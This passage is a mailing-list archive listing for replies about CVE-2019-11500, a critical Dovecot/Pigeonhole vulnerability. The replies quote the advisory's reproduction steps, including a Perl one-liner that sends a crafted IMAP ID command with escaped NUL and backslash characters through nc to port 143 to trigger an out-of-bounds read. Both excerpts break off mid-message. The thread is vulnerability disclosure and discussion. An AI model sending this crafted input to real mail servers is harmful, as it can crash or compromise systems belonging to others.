Re: CVE-2019-11500: Critical vulnerability in Dovecot and Pigeonhole

2019-09-03 Thread KSB via dovecot
On 2019.09.03. 22:32, KSB via dovecot wrote: On 2019.08.28. 15:10, Aki Tuomi via dovecot wrote: Steps to reproduce: This bug is best observed using valgrind to see the out of bounds read with following snippet: perl -e 'print "a id (\"foo\" \"".("x"

Re: CVE-2019-11500: Critical vulnerability in Dovecot and Pigeonhole

2019-09-03 Thread KSB via dovecot
On 2019.08.28. 15:10, Aki Tuomi via dovecot wrote: Steps to reproduce: This bug is best observed using valgrind to see the out of bounds read with following snippet: perl -e 'print "a id (\"foo\" \"".("x"x1021)."\\A\" \"bar\" \"\000".("x"x1020)."\\A\")\n"' | nc localhost 143 Hi! Before I h